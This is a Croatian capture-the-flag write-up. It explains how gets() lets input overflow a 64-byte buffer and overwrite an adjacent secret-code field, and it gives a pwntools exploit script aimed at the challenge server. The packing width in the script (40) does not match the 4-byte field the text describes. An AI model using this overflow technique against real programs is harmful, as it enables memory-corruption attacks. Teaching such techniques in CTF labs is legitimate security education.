====Tajne korneta==== ===Rješenje:=== Iz koda zadatka vidimo da se rješenje ispisuje nakon testiranja uvjeta: if (krivi_odgovor.tajni_kod == TOCAN_KOD){...} To znači da je potrebno zapisati unutar varijable krivi_odgovor.tajni_kod vrijednost jednaka TOCAN_KOD-u: #define TOCAN_KOD 0x6c32257e //Dakle vrijednost 0x6c32257e Na liniji koja sadrži: gets(krivi_odgovor.odgovor); je vidljivo da se koristi nesigurna funkcija gets koja omogućuje unos proizvoljne duljine u zadanu varijablu. Zbog toga je moguće preplaviti varijablu krivi.odgovor.tajni_kod. Varijabla krivi_odgovor je definirana kao struct odgovor čija je struktura definirana sljedećim kodom: struct odgovor { char odgovor[ODGOVOR_MAX]; //Gdje je ODGOVOR_MAX jednak 64 uint32_t tajni_kod; }; Dakle, na stogu će se, krečući se prema višim adresama, nalaziti polje duljine 64 čija memorija pripada varijabli odgovor, a nakon njega 4 bajta koja pripadaju varijabli_tajni kod (uint32 = 4 bajta). Pošto je omogućen unos u polje odgovor proizvoljne duljine, a nakon njega se nalazi varijabla čija se vrijednost koristi u testiranju uvjeta za dobivanje rješenja, potrebno je preplaviti polje odgovor s 64 bajta i zatim nadodati još 4 čije su vrijednosti definirane s TOCAN_KOD. Primjer rješenja uz pomoć PWN tools-a PWN tools payload.py ------ from pwn import * #import pwn tools-a p = remote("chal.platforma.hacknite.hr",11004) payload = b"A"*64 #padding payload += pack(0x6c32257e,40) #naredba pack formatira unos s little-endian zapisom payload += b"\n" #prekid veze p.writeline(payload) answer = p.readall() print(answer.decode())